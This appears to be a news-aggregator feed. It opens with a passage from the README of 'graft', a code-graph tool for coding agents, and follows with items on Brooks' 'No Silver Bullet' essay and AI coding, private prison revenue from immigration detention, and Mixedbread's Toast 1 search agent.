The crux is stored as the code itself, not as a line range, on purpose. Line numbers drift whenever unrelated code above them shifts, but the lines that matter do not. Keeping the text, not the numbers, means the crux stays correct even as the file around it moves.

Summary, sources, links, and notes ship today in markdown nodes. The crux ships per-symbol in the code graph ( graft build --deep ); inlining it into markdown nodes is next.


What runs where

  • On your machine, no key, no network: the structural code graph. graft build (wiring graph + per-file cards), graft check , and graft ask are deterministic tree-sitter — they never call a model.
  • Through your provider key: the LLM-written parts — graft build --deep adds the concept nodes (file summaries + node synthesis) and the per-symbol summaries and cruxes. graft is vendor-neutral: set GRAFT_PROVIDER ( openai for any OpenAI-compatible endpoint, or anthropic for the native API), your GRAFT_API_KEY , GRAFT_MODEL , and — for the openai wire format — GRAFT_BASE_URL to point at OpenRouter, Fireworks, Groq, a LiteLLM proxy, a local server, or OpenAI itself. Or pass --provider/--model/--api-key/--base-url on the command line. ( OPENROUTER_API_KEY still works as a deprecated fallback.)
  • No telemetry and no analytics — the only network calls are the LLM requests you configured.

See .env.example for the full list of settings (model, base URL, graph directory).


Agent integration

One command wires Graft into the coding agents you use:

npx @nanonets/graft init
# detects your agents and writes each one's native instruction file;
# Claude Code additionally gets the live statusline + hooks below

On a terminal, init shows you every agent it knows about — flagging the ones it detected (via their config directories) and listing the exact files each would write — and wires only the ones you select. Claude Code is pre-selected; nothing else is. Selected agents get a marker-fenced Graft section in their shared instruction file — AGENTS.md (Codex, OpenCode and other CLIs that read it), GEMINI.md , .github/copilot-instructions.md — or a wholly-owned rule/skill file for the agents that use one: .claude/skills/graft/SKILL.md , .cursor/rules/graft.mdc , .kiro/steering/graft.md , .windsurf/rules/graft.md , .adal/skills/graft/SKILL.md for AdaL . Claude Code is in the second group: init writes its own skill file and never touches your CLAUDE.md . Re-running only updates Graft's own section (or replaces the owned file) and never touches the rest of your content.

With no TTY to prompt on — CI, a Dockerfile, a piped shell — init writes nothing and prints the command to run instead. Pass --agents <ids> or --yes to make a scripted run explicit.

Flag Effect
--agents <ids...> wire only these, no prompt — ids: agents , cursor , gemini , copilot , kiro , windsurf , adal , claude
--yes , -y skip the prompt and wire every detected agent
--dry-run print every file init would touch, then exit without writing
--all-agents write instruction files for every known agent, detected or not
--no-agents Claude Code wiring only; skip other agents
--list-agents print the known agent ids and exit
--no-mcp skip MCP server registration
--no-hooks skip hook installation
--no-global skip writes outside this repo (the ~/.codex/ entries below)

Writes outside the repo

Selecting the agents host also touches your user-level Codex config, when ~/.codex/ exists:

Path What changes
~/.codex/config.toml registers the Graft MCP server ( [mcp_servers.graft] )
~/.codex/hooks/graft/graft-hooks.cjs the post-edit hook shim
~/.codex/hooks.json a PostToolUse entry matching Write|Edit|MultiEdit

Both configs are user-level, so they apply to every repo you open with Codex, not just this one. The picker labels these machine-wide , --dry-run lists them in their own section, and --no-global skips them while still wiring AGENTS.md .

MCP server

graft init also registers Graft's MCP server with agents that support it, so these six tools appear natively, no shell required. Claude Code gets this too: graft init writes the server into the project's .mcp.json (restart Claude Code to load it). Skip with --no-mcp ; run it manually with graft mcp [dir] .

Tool Takes What it's for
graft_find_code a question Ranked nodes with file:line, source inlined — usually the full answer, no follow-up read needed.
graft_file_api a file path Every signature in that file, no bodies — the API surface for a tenth of the tokens.
graft_trace_calls a symbol Who depends on it, or what it depends on with direction: out , N levels deep for blast radius.
graft_find_all a regex Every hit, grouped by enclosing symbol, ranked by how coupled that symbol is.
graft_repo_map nothing A first look at an unfamiliar repo: directory clusters, hubs, hotspots.
graft_check_freshness nothing Whether the local graph has drifted from the code.

Register it by hand if your agent needs it explicit:

{ "mcpServers": { "graft": { "command": "npx", "args": ["-y", "@nanonets/graft", "mcp"] } } }

Where a CLI agent supports user-level hooks.json , init also installs Graft's post-edit hook — blast-radius warnings and automatic $0 graph re-sync after edits (skip with --no-hooks ).

Claude Code (deep integration)

graft init always wires up Claude Code, and Claude Code gets more than the skill file above. From then on, any Claude Code session opened in the repo gets:

  • a live statusline — graph size, % enriched, and a ⚠ N stale warning when the code has moved ahead of the graph
  • auto-sync — every graft query brings the graph up to date first, so an answer always describes the code as it is right now, uncommitted edits included. A query refreshes only what it reads; the markdown under graft/ is refreshed by the background rebuild at the end of a turn that touched code. Both are structural and $0 — auto-sync never calls the LLM on its own
  • context on tap — each prompt pulls the matching nodes into the session; editing a file surfaces what depends on it ("blast radius"); new sessions start with the repo map

How Claude Code hooks wire graft in: install, graft init, then the hooks loop (session start, user prompt, post tool use, stop) keeps the graph built, read, and committed automatically
install → init → hooks keep the graph fresh every session

graft's post-edit hook: editing node-file.ts prints its blast radius (who depends on it) inline, the statusline flips stale → syncing → synced on its own, and the same dependents light up in graft viz
edit a file → blast radius appears inline → graph auto-resyncs → confirmed in graft viz

graft init is idempotent and never clobbers your existing .claude/settings.json — it merges its blocks and leaves the rest alone. Want the LLM summaries too? Run graft build --deep (with a key) whenever you like; auto-sync will never do it for you.


CLI

graft build [dir]                    # build graft/ from the code at [dir]: wiring graph + per-file cards (no LLM, no key)
graft build --deep                   # add the LLM layer: concept nodes + per-symbol summary/crux (cached)
graft build --extensions .ts .py     # only include these code extensions
graft build --no-reuse               # re-parse every file instead of replaying unchanged ones from cache

graft ask "<task>" [dir]             # query the graph — ranked nodes + exact file:line (no LLM, no key)
graft ask "<task>" --json            # machine-readable result
graft ask "<task>" --in <scope>      # narrow to one sub-project of a monorepo/multi-repo folder (see below)

graft skeleton <file> [dir]          # every signature in one file, no bodies — the API surface for ~1/10th the tokens (no LLM, no key)

graft callers <symbol> [dir]         # who calls/references/imports/implements/extends a symbol (no LLM, no key)
graft callers <symbol> --direction out  # the reverse: what the symbol itself calls/references (was `graft callees`)
graft callers <symbol> -d N          # walk transitively out to depth N — full blast radius (was `graft impact`)

graft grep "<regex>" [dir]           # exhaustive regex search over indexed files, grouped by enclosing symbol (no LLM, no key)
graft grep "<regex>" --in <path>     # narrow to files at or under this path prefix
graft grep "<regex>" -i --fixed      # case-insensitive; treat the pattern as a literal string, not a regex

graft map [dir]                      # token-budgeted repo orientation — dir clusters, hubs, hotspots (no LLM, no key)
graft map --max-dirs N               # raise/lower the number of directories shown

graft check [dir]                    # fail (exit 1) if graft/ has drifted from the code (never auto-refreshes — it's the drift report)
graft check --json                   # print the drift report as JSON

# ask / skeleton / callers / grep / map all refresh the graph first if the working tree moved:
#   --no-refresh                     # answer from the graph exactly as it is on disk
#   GRAFT_NO_REFRESH=1               # same, for every command
#   GRAFT_REFRESH=hash               # hash every file instead of trusting size+mtime

graft viz [dir]                      # see the graph: serves an interactive viewer on localhost
graft viz --port 5000 --no-open      # pick a port; don't auto-open the browser

graft init [dir]                     # pick which agents to wire (prompts on a terminal; writes nothing until you choose)
graft init --dry-run                 # list every file it would touch, then exit
graft init --agents cursor kiro      # wire only these agents, no prompt (ids: agents, cursor, gemini, copilot, kiro, windsurf, adal, claude)
graft init --yes                     # no prompt; wire every detected agent
graft init --no-global               # skip writes outside this repo (~/.codex/ config + hooks)
graft init --no-build                # wire the files only; don't build the graph
graft init --all-agents              # wire every known agent, detected or not
graft init --list-agents             # list known agent ids and exit

graft version                        # print the installed + latest published npm version
graft upgrade                        # npm install -g the latest published version
                                     # a new version is announced automatically (checked once a day);
                                     # after upgrading, the next session refreshes this repo's wiring itself

# global
graft --dir <path>                   # use a context dir other than <repo>/graft
graft --version, -v                  # print the installed version and exit

Method calls resolve through the receiver's type — constructor assignments ( self.router = APIRouter() ) and type annotations, not just the call-site name — so callers / grep --in return calls bound to the right type on method-heavy code, not every method anywhere with that name.

Search & orient ( graft grep / graft map )

graft grep "<regex>" is exhaustive over every indexed file and groups hits by enclosing symbol, ranked by the same in-edge coupling graft map uses — built for "every occurrence of this pattern" tasks where graft ask 's ranked top-N isn't enough:

"NEEDLE" — 2 hits in 2 symbols across 1 files (searched 1 indexed files)

heavilyCalled · function · src/a.ts:L1-L3 · 3 in-edges
  L2: console.log("NEEDLE hit in heavilyCalled");

rarelyCalled · function · src/a.ts:L4-L6 · 0 in-edges
  L5: console.log("NEEDLE hit in rarelyCalled");

graft map is a token-budgeted first look at a repo — directory clusters with file/symbol counts, each dir's local hubs, and the global hotspots — all ranked by in-degree, no LLM, no key:

repo map — 113 files · 687 symbols · 2186 edges · typescript

src/                63 files · 527 symbols   hubs: contextDirFor (node-file.ts, 21←), wiringPath (write.ts, 14←), buildGraph (build.ts, 11←)
test/               43 files · 102 symbols   hubs: edge (graph-traverse.test.ts, 4←), graphOf (graph-traverse.test.ts, 4←), fileNode (graph-map.test.ts, 3←)
viewer/             5 files · 58 symbols   hubs: $ (main.ts, 9←), activeGraph (main.ts, 5←), cvar (data.ts, 5←)
scripts/            2 files · 0 symbols

hotspots: contextDirFor · function · src/context/node-file.ts:L100-L103 · 21←  wiringPath · function · src/graph/write.ts:L20-L22 · 14←  buildGraph · function · src/graph/build.ts:L104-L218 · 11←  ...

Monorepos & multi-repo folders

Graft handles two shapes without any config:

  • A monorepo with one .git (a pnpm-workspace.yaml / package.json workspaces , or per-package go.mod / pyproject.toml / Cargo.toml ) — graft build discovers each sub-project as a ranking scope. ask / map rank every scope on its own terms and fuse the results, so the biggest sub-project can't drown a small one; hits carry [scope/] labels, and graft map groups its directory clusters by scope first.
  • A folder of separate git repos (no .git at the top) — graft build auto-splits: each child gets its own (git-ignored) graft/ , and the parent gets a graft/workspace.json index. Queries from the parent federate across every child, always labeled <child>/ . Run graft build inside a child to work on just that repo.

Either way, narrow to one sub-project with graft ask "<task>" --in <scope>/ once you know where you're working.

graft init at the parent of a multi-repo folder wires every child repo too , not just the parent — an agent session opens at a repo root and reads its instruction files from there, so each child needs its own. A session started in the parent gets the federated view; one started in a child sees that repo alone.

Commands also find the graph from a subdirectory: with no [dir] argument they walk up to the nearest graft/ , so graft ask works from src/deep/inside/ without a cd to the repo root.

Visualize it ( graft viz )

graft viz opens a local, interactive view of both graphs — no install, no dev server; the viewer ships prebuilt inside the package.

graft viz — searching a symbol and jumping to it lights up its dependency graph: amber edges are what it depends on, teal is what depends on it
search → jump to a node → dependency graph lights up

  • Context tab — the architecture graph from graft/*.md . Nodes colored by type, sized by connectedness.
  • Code tab — the per-symbol graph from graft/.graph/wiring.json (run graft build first).
  • Outline tab — the file → class → method hierarchy as a collapsible tree.

Edges speak the code's language. Every link is one of a closed set of verbs, each answering a question someone building or reviewing code actually asks:

Verb The question it answers
part_of / contains where does this live?
uses / calls / imports / depends_on what breaks if I change this?
produces where does this output come from?
configures what changes its behavior without a code change?
validates what checks or judges this? (tests, drift checks, scoring)
extends / implements what contract must this honor?

Select a node and its edges take on direction: amber = what it depends on, teal = what depends on it , with the verb written on each highlighted edge. Chips above the canvas filter by verb; tree-sitter-extracted edges draw solid while LLM-inferred ones draw dashed. The viewer live-reloads when graft/ changes on disk. Older graphs with vague verbs ( influences , supports ) are normalized on load — no regeneration needed.


Tested on your popular repos

The benchmarks measure the mechanism. The real test is whether graft helps an agent ship real changes on code people actually run, not just answer questions. So we benchmark it on popular open-source repos: 15 tasks each , 10 real developer questions plus 5 actual implementation tasks (real merged pull requests, each re-implemented from its base commit and scored against the files the maintainers actually changed). Same agent (Claude Opus), same file tools; the only difference is whether graft is wired in.

Across these repos graft runs up to 4× cheaper and 3× faster , with better or no loss of correctness: it reproduces the real merged PRs by touching the same files the maintainers did. Per-repo detail below.

PocketBase (Go, ~350 files)

Aggregate over 15 tasks Standard Claude Code With graft
Cost $13.91 $11.02 (−21%)
Wall-clock 2,044s 1,762s (−14%)
PRs reproduced 5 / 5 5 / 5 (same files as the maintainers)

Cheaper and faster with no loss of correctness: graft reproduced all five merged PRs, touching the same files the maintainers did. The gap is widest on cross-file understanding — "how does auth work across OAuth2 providers" dropped from $2.19 to $0.84.

The 10 questions we asked
  1. Orientation — Give me a map of PocketBase's architecture: the main subsystems and how an HTTP request flows through to the database.
  2. Entry-point trace — Trace end-to-end what happens when a client creates a record via the REST API, from route handler to database write.
  3. Feature location — I want to add a brand-new collection field type. Where do I hook it in, and which pieces must change?
  4. Bug localization — Realtime subscriptions silently stop delivering events after a while. Where would you start looking, and why?
  5. Blast radius — If I change the signature of the record-validation logic, what depends on it and what could break?
  6. Cross-file synthesis — How does auth work across OAuth2 providers: where are tokens issued, validated, stored, and refreshed?
  7. Extensibility — How do I use PocketBase as a Go framework to register a custom route plus an on-record-create hook?
  8. Security discovery — Where is user input validated, and where are collection API access rules enforced before a query runs?
  9. Public API — As an external app, how do I authenticate and then list and filter records over the REST API?
  10. Test verification — Where are the tests for the record CRUD API, and what do they assert about access rules?
The 5 merged PRs we re-implemented

Each PR was reset to its base commit; graft's diff was scored against the files the merged PR changed.

PR Type What it does Files the maintainers touched
#6744 feat Generate & serve WebP thumbnails apis/file.go , tools/filesystem/filesystem.go
#6947 fix Uniform char distribution in regex random strings tools/security/random_by_regex.go
#6690 refactor Patreon OAuth2 to use x/oauth2/endpoints tools/auth/patreon.go
#2726 perf Drop a redundant admin-count query on a hot middleware path apis/middlewares.go
#3192 fix Restore prior API rules on automigration rollback plugins/migratecmd/templates.go
Method

Two clones of PocketBase at the same commit: one wired with graft init , one untouched and verified graft-free. Each task run headless ( claude -p , Claude Opus) with an empty MCP config. Understanding questions were graded by whether the answer pointed to the right files and functions; PR tasks were scored on whether the agent's diff touched the same files as the merged PR. Every transcript was audited to confirm graft was actually used in the graft arm and absent from the standard arm.


Development

git clone https://github.com/NanoNets/context-graph-engine.git && cd context-graph-engine
npm install
npm run build
npm test

npm run cli -- build --deep .      # run the CLI from source

License

MIT. See LICENSE .

AV1 vs. AV2: Which Video Codec Should You Use in 2026?

Hacker News
www.red5.net
2026-08-14 11:21:07
Comments...
Original Article

Checking your browser...

This may take a few seconds.

There Is Still No Silver Bullet

Lobsters
cekrem.github.io
2026-08-14 11:18:11
Comments...
Original Article

Of all the monsters that fill the nightmares of our folklore, none terrify more than werewolves, because they transform unexpectedly from the familiar into horrors. For these, one seeks bullets of silver that can magically lay them to rest.

That’s how the most famous essay in software engineering opens. Fred Brooks, “No Silver Bullet: Essence and Accidents of Software Engineering” , presented at the IFIP conference in 1986. It turns forty this year, which feels like the right moment to point out that it has never once been wrong.

The essay’s famous claim is a prediction: “There is no single development, in either technology or management technique, which by itself promises even one order-of-magnitude improvement within a decade in productivity, in reliability, in simplicity.” People mostly remember the title (if even that) and skip the argument. Which is a shame, because the argument is the part that explains the last three years of our industry better than anything written in the last three years of our industry 😵‍💫.

The essence and the accident Link to heading

Brooks splits the work of software into two piles.

The essence is the conceptual construct: the interlocking concepts, the data and their relationships, the decisions about what the system should mean and do and refuse to do. “I believe the hard part of building software to be the specification, design, and testing of this conceptual construct,” he writes, “not the labor of representing it and testing the fidelity of the representation.”

The accident is that labor of representing. Syntax. Build tooling. Boilerplate. The twenty-something nearly identical factories (gotta love Java, right?). The typing.

If you’ve read my earlier posts in this series , that first pile might sound familiar. Peter Naur, one year before Brooks, called it the theory of the program: the shared mental model that the source code only partially represents. Two men within the same decade, arriving at the same place from opposite ends; Naur from watching a compiler team hand their program over to fresh programmers — source and documentation included — and seeing the newcomers’ patches fight the original design anyway, Brooks from watching projects miss every estimate he’d ever seen. Both concluded that the hard part of programming is building that shared understanding, and that the artifact on disk holds far less of it than we’d like to think.

(Neither of them said code is easy, mind you, though half the internet is currently misquoting them on that.)

And from that split, Brooks derives his prediction with arithmetic “simple enough to do on a napkin”: a tool can only compress the accident. So unless the accident is nine tenths of your job, no tool, however magical, can make you ten times faster. The essence sets the pace.

He even reviewed AI In 1986 Link to heading

Brooks didn’t just make an abstract prediction and leave the werewolf-hunting to us. He went through the silver bullets of his day one by one: Ada, object-oriented programming, program verification, graphical programming — and(!) yes, artificial intelligence and expert systems, each with its own section. His verdict was the same each time: useful, some genuinely so, but all of it aimed at the accident.

The AI of 1986 was not the AI of 2026, obviously. But his reasoning never depended on capability in the first place. What matters is which pile the help lands in. “The hardest single part of building a software system is deciding precisely what to build,” he writes. No tool that receives a specification can help with the fact that producing the specification is the actual work.

Forty years of silver bullets later (CASE tools, 4GLs, UML, no-code, low-code), the essay is undefeated. Now it’s up against the strongest candidate yet, at least if we measure by hype. LLMs are probably, and I mean this sincerely, the most effective accident-compressor ever built. They write the boilerplate and scaffold the tests, and they’ll produce the twentieth nearly identical factory without a word of complaint. I use them for exactly this , in a box, with supervision.

The mirror Link to heading

If Brooks is right that tools compress only the accident, then every AI productivity claim is accidentally a confession:

Your AI speedup is a measurement of how much of your job was accident.

If Claude Code really did make you ten times faster, then, by Brooks’ napkin math, nine tenths of what you were doing was the labor of representation , not the conceptual work (or in my own terms: the engineering and craft). My intention is not to insult, btw (we’ll get to the actual insult shortly). Accident is real work, somebody has to do it, and our industry has spent two decades manufacturing mountains of it (I say this as someone who has configured webpack, and enabled ephemeral storage on Azure VMs 😅). For some roles the ratio really is that lopsided, and for those roles the compression is a mercy.

Turn the mirror around, though: the senior engineers reporting modest gains aren’t slow adopters or Luddites in denial. They’re telling you, with a number, what their week is made of: domain conversations, design decisions, naming, review, the slow work of figuring out what the system should refuse to represent. All essence, and none of it gets faster just because the typing does.

A small example from my own desk. When I built the little Elm testimonials widget for this site, I let an AI turn a pile of messy DOM nodes into clean JSON — pure accident, and it spared me a genuinely boring half hour. Then I wrote the widget itself by hand, and it took roughly what it would have taken me in 2019. Not because I refused the help on principle (though, to be honest I would have – I did it for fun after all!), but because the hours went into deciding which states should be impossible and what the messages should mean. The hand-it-all-to-the-agent crowd tends to miss where those decisions got made: half of them happened while writing the code , fingers on keys, with the compiler pushing back. There was nothing to hand off, because the writing was where the deciding happened.

“Code was never the hard part” Link to heading

Which brings me to a phrase making the rounds, one that sounds like it agrees with everything above: “code was never the hard part.” You’ve heard it before, I’m quite sure. The real work was always the requirements and the stakeholder meetings, so let the machine handle the trivial coding bit and free the humans for Higher Things.

Senko Rašić recently wrote a response to that phrase calling it an insult to all programmers, and he’s right. If code was never the hard part, why did this industry spend two decades hunting “10x ninja rockstar” coders and grilling candidates on whiteboards? Why do Clean Code and SICP exist, and why did generations of us wear them out? You don’t build a fifty-year literature of craft around the easy part of a job. The people saying this now, mostly to sell you something, are rewriting the history of a profession.

But that is not what Brooks said, however often he gets conscripted into saying it. The line between essence and accident does not run between coding and everything else, with meetings on the important side and keyboards on the trivial side. It runs through the middle of coding itself . When you write real code — choose a name or reject a type, feel a design resist you and change course because of it; you are doing essence work with a compiler watching. The accident is the residue inside that activity: the transcription, the ceremony/boilerplate, factory number twenty. And Naur’s whole point, the one this series pounds repeatedly on , is that the theory doesn’t get built in meetings and then merely “implemented”. It largely gets built at the keyboard, in the old gym . The typing was never the point, and further: the writing was never just typing.

So the sales pitch (“let AI write the code so you can focus on what matters”) lands exactly backwards for the people it’s aimed at; it is, quite precicely, wrong . For a programmer worth the title, writing the code is where a good share of the what-matters gets done. (And again, don’t underestimate this part either: It’s also fun.)

The essence gap Link to heading

In 2025, METR ran an actual randomized controlled trial : sixteen experienced open-source developers, working in their own mature codebases, tasks randomly assigned with and without AI assistance. With AI they were 19% slower . Their own estimate, afterwards, was that the AI had sped them up by about 20%. 1

An ish forty-percentage-point gap between felt speed and measured speed! And Brooks would have called both the sign of that gap and the reason for it. The acceleration is real and it is felt — the boilerplate appears instantly, the diff grows, the tool is visibly doing things. But these were experts in codebases they knew deeply, meaning their work was almost all essence: deciding, judging, verifying against a theory of the system they carried in their heads. Compress the accident of a job that’s mostly essence and you get exactly what the study found: developers who felt faster and measured slower.

The 19% has a second explanation too, and it’s the one from the section above: for engineers like that, writing the code is how the theory stays current. Hand the writing to a tool and what’s left is auditing someone else’s guesses against a mental model that has quietly stopped being fed. That’s a different job, a worse one, and the stopwatch noticed. Meanwhile the dashboards go up and to the right while the outcomes stand still. (The churn and duplication data pointing the same direction is a story I’ve already told , so I’ll spare you the recap.)

I can hear the objection forming: “but productivity has improved by an order of magnitude since 1986 — compilers, garbage collection, open source, the cloud!” True, and Brooks never said otherwise. His bet was about a single technology, within a decade , and it has held every time someone claimed to have shot the werewolf. The cumulative gains came from decades of chipping away at accident, which is his model of how progress works, incidentally.

Grow designers, not prompters Link to heading

People forget that “No Silver Bullet” doesn’t end in despair. After dismantling every bullet on the market, Brooks tells you where he thinks the real leverage is, and it isn’t a technology at all. “The central question in how to improve the software art centers, as it always has, on people.” His concrete proposal is to find and deliberately grow great designers (the people who can do the essence work) with the same seriousness companies apply to growing managers.

Forty years later, that’s still the whole game, and I’d argue the stakes have gone up. The essence work is what this whole series has been about: the theory , the knowledge that can’t be written down , and the institutions where both get passed on . None of that compresses, and all of it is currently being starved in the name of a speedup that Brooks’ arithmetic says cannot arrive.

And no, this isn’t a sorting of people into two camps. Everyone’s week contains both piles. A junior converting DOM sludge on Monday might be doing the team’s deepest domain modeling on Tuesday. The question is which pile your calendar — and your employer’s incentives — actually protects.

The habits that follow from taking Brooks seriously are not complicated:

  • Sort your own week honestly. Look back at last week: how many hours went to deciding what the system should mean, and how many to expressing decisions already made? That second number is your ceiling on any AI speedup, and it’s worth knowing before your manager reads a vendor benchmark.
  • Point the AI at the accident, on purpose, with constraints. Set the theory yourself and let the tool do the typing inside it — I’ve written about what that looks like , and it works.
  • Protect the essence hours from the velocity dashboard. Design conversations and domain modeling will always look slow in Jira, because Jira only knows how to count the accident.
  • If you lead people: grow designers. Brooks said it in 1986 and the transmission mechanism hasn’t changed — apprenticeship, code review, working at the shoulder of someone who knows . No prompt produces a designer.

Brooks ended his essay with people , so I’ll end mine with him. The industry is currently spending hundreds of billions on the shiniest bullet ever cast, aimed — as every bullet before it — at the part of the monster that was never the problem. When the “tenfold gains” keep failing to appear on the balance sheets, and the napkin says they will keep failing, companies will go looking for the people who can move the essence: the ones who kept building theories while everyone else was compressing accident.

Code remains what it has always been: a craft, not a solved problem. (And killing werewolves is fun.)

Private prisons announce $1.4B in revenue as immigration detentions climb

Hacker News
www.npr.org
2026-08-14 11:16:00
Comments...
Original Article
The CoreCivic, Inc. California City Immigration Processing Center stands in the Kern County desert awaiting reopening as a federal immigrant detention facility under contract with the US Immigration and Customs Enforcement (ICE) in California City, California on July 10, 2025.

The CoreCivic, Inc. California City Immigration Processing Center stands in the Kern County desert awaiting reopening as a federal immigrant detention facility under contract with the US Immigration and Customs Enforcement (ICE) in California City, California on July 10, 2025. Patrick T. Fallon/AFP via Getty Images hide caption

toggle caption

Patrick T. Fallon/AFP via Getty Images

America's two largest private prison companies, CoreCivic and GEO Group, are reporting a combined $1.4 billion in quarterly revenue over the spring as immigration detention closes in on record levels.

Those revenues announced Thursday do not include net proceeds of $1.6 billion made by CoreCivic after the recent sale of four of their facilities to the Department of Homeland Security. Patrick Swindle, CoreCivic's President and CEO, told investors on an earnings call that that works out to an average rate of $307,000 per bed.

The earnings — from April through June of this year — come as the U.S. is holding almost 66,000 people in immigration detention , nearing record levels not seen since January, according to Transactional Records Access Clearinghouse, a nonpartisan research center. Both companies say they're also finding other revenue opportunities, like ankle monitors for Haitian immigrants who recently lost their protected immigration status.

Swindle said that CoreCivic's total revenue went up by just over 27% this spring compared to the same quarter last year, for a total of $684.9 million. CoreCivic exceeded expectations in a period that included the government shutdown, Swindle said. This was accomplished in part by lowering operating costs — meaning the business of detaining people is becoming cheaper — and because of more people being put in detention.

CoreCivic's sales of detention centers to the government won't be reflected until next quarter — but they are part of a larger strategy to meet President Trump's goal of having 100,000 people in detention at once. CoreCivic made a deal to continue operating the detention centers and also hopes to build more. Meanwhile, GEO Group says they're also in talks to do the same.

GEO Group's Trump administration ties

GEO Group CEO George Zoley said in his company's earnings call also on Thursday that thanks to 2025 contracts, total revenues are up to $732.1 million — an increase of nearly $96 million or 15% — over the same period last year.

GEO Group's government ties run deep. Former GEO Group executive David Venturella is the acting director of ICE. In a recent letter, he told lawmakers he has divested his GEO Group stock.

White House Border Czar Tom Homan walks away after talking to reporters after doing television interviews outside the West Wing of the White House on June 30, 2026 in Washington, DC.

White House Border Czar Tom Homan walks away after talking to reporters after doing television interviews outside the West Wing of the White House on June 30, 2026 in Washington, DC. Chip Somodevilla/Getty Images North America hide caption

toggle caption

Chip Somodevilla/Getty Images North America

President Trump's border czar Tom Homan was also a paid consultant for GEO Group before joining the government, and former Attorney General Pam Bondi lobbied for GEO Group before she was appointed.

President Trump also has financial stakes in the two companies, according to Citizens for Responsibility and Ethics. An analysis of Trump's most recent financial disclosure by CREW last month found that the president's brokers have made 29 trades of private prison stocks since he returned to office. According to the study, the first purchases were made on the 10th day of his second term. The total amount bought and sold was in the hundreds of thousands of dollars split between GEO Group and CoreCivic.

More revenue streams

In Thursday's call, GEO Group noted that their ankle monitoring sales are up. The electronic devices are part of the Intensive Supervision Appearance Program contract it has with ICE, along with smartwatches and the SmartLink phone app that help the government keep tabs on immigrants outside of detention, Zoley said.

Zoley also told investors that GPS-tracking ankle monitors in particular will likely keep climbing now that Temporary Protected Status for Haitian immigrants has ended.

"Because of this new policy shift as to who will be subject to this immigration enforcement like … the Haitians, we could see a significant increase in the number of people in the ISAP program," Zoley said, adding "most of them, we believe, would be placed under the ankle monitoring supervision." He noted that "the app is far less expensive than the ankle monitors."

Member station WVXU in Ohio previously reported on seeing Haitian migrants fitted with ankle monitors as they left meetings with ICE officials. GEO Group also drew more money from transportation and flight contracts with the government, which went up in line with more deportations, according to Zoley.

Introducing Toast 1

Hacker News
www.mixedbread.com
2026-08-14 11:07:57
Comments...
Original Article

Toast 1 , our first specialised search agent, is available today. It provides frontier search quality, matching or outperforming Claude Opus 5 and GPT-5.6 Sol while being up to 10× cheaper and 12× faster. It performs best with Mixedbread Search, but it can work with any search backend.

Today, frontier models are now able to perform real knowledge work. They can reason, analyse, and find information in complex document collections. But they are also the most expensive models in the stack. As intelligence is increasingly metered, the need for specialised agents able to match their capabilities at a fraction of the cost is greater than ever.

Toast 1 can run as a standalone specialized retrieval agent, or as one of many subagents your frontier model already knows how to rely on. It fully takes over the search loop: given an initial query, it decomposes it into subqueries, gathers evidence, inspects sources, and curates the relevant context before returning it. This lets your agent spend its context and compute on the task that requires a generalist, frontier-level model: reasoning, acting, and producing the final answers.

Waterfall trace of a Toast 1 agentic search: 16 tool calls across 3 rounds answering an employment-rate comparison query in just over 5 seconds. Expand the trace, then select a step to see the sub-query, grep pattern, or plan the agent produced at that point.

This specialisation of agentic labor results in considerably cheaper search, but also in better end-to-end results on many realistic tasks. We found that Toast 1 establishes a new Pareto frontier across agentic workloads across cost per task and speed per task.

Financial Analysis: OfficeQA Pro V2 Link to section

OfficeQA Pro V2, released by Databricks , evaluates answer correctness across 90 questions in realistic, complex enterprise financial situations.

GPT‑5.6 Sol with Toast 1 made available as a sub-agent within Codex reaches 70% answer correctness at approximately $1.15 per task: that is the highest score among the systems evaluated by Databricks in the OfficeQA v2 release, establishing new state-of-the-art performance in both quality and efficiency.

Scatter plot of answer correctness versus cost per rollout on OfficeQA Pro V2, log-scale cost. GPT-5.6 Sol running in Codex with Toast 1 as a sub-agent reaches 70 percent correctness at about $1.20 per task, above the previous Pareto frontier from the Databricks evaluation, where Claude Fable 5 on Databricks Genie reaches 60 percent at about $4.
Answer correctness vs. cost per rollout on OfficeQA Pro V2. Genie and harness numbers as reported by Databricks; Codex + Toast 1 runs are ours. Shaded region sits under the previous Pareto frontier.

By comparison, the previous best performer, Claude Fable 5 on Databricks Genie, reaches 60% correctness at approximately $4 per task, while GPT-5.6 Sol within Codex without Toast 1 only reaches 33% correctness.

This improvement stems from reformulating the economics of evidence gathering. Toast 1's specialization allows it to produce high-quality, token-efficient evidence packages, leaving ample resources for the reasoning process to reach the final answer.

Harvey LAB's Law Firm Knowledge benchmark seeks to evaluate how well an agent can search and use institutional legal knowledge at large, realistic scales.

Legal work, by nature, is context-heavy. You cannot outargue someone with access to better, more relevant precedents and details. But it is also noisy: many situations are similar but vary by simple details, making it tricky to collect high quality evidence packages without numerous false positives.

On a randomly selected subset of 33 tasks, 1 we found that GPT-5.6 Sol's answer quality remained constant across search methods.

Bar chart of total tokens used on the Harvey LAB firm-knowledge benchmark. A vanilla agent uses 80.6 million tokens at 21.7 turns per task. Adding Mixedbread Search cuts that by 42 percent to 47 million tokens at 14.6 turns per task. Adding Toast 1 as a subagent cuts it by another 51 percent to 23 million tokens at 11.2 turns per task. All three configurations reach the identical task score of 55, so the end result is the same performance with 3.5 times fewer tokens.
Tokens are totals across the 33-task benchmark; turns are agent loop iterations per task. All three configurations reach the identical task score of 55.

However, increasing search quality drastically increased token efficiency: replacing the vanilla agent's filesystem search with Mixedbread Search cut token usage from 80.6M to 47M at an identical task score. Subsequently adding Toast 1 as its dedicated search subagent reduced it further to 23M, and allowed it to finish in half the turns required by vanilla agent.

The introduction of a Mixedbread Search-powered Toast 1 preserved answer quality, while consuming 3.5× fewer tokens, leading to a cost reduction of over 60%. Toast 1 frees up the context window of frontier models to let them spend their tokens on reaching the right answer.

Benchmarks and numbers can only tell one part of the story. To truly understand how Toast 1 works, there is no better way than watching it search in action. At Mixedbread, we really enjoy Dwarkesh's podcast , and thought being able to search deep into its transcripts would be fun.

You can try it yourself here .

Although it is a capable subagent for complex tasks, Toast 1 is also a capable standalone model, trained specifically for deep search. It represents the next step of our co-design approach behind our embedding models and Silo: the model, agent harness, and retrieval primitives are designed to work together. 2

Retrieval quality versus cost and latency per query on BrowseComp Plus, OfficeQA Pro, and LongSeal. Toast 1 matches or approaches the best frontier-model sweeps on each benchmark while costing a fraction per query and answering in about 8 to 10 seconds, far faster than the frontier sweeps.
Cost per query at list prices with prompt caching; latency is p50 per query. Lines show each model's Pareto-efficient reasoning sweep.

On a variety of deep search benchmarks, it reaches frontier model performance, standing in the same league as GPT-5.6 Sol and comfortably outperforming models such as Kimi K3 or GLM-5.2.

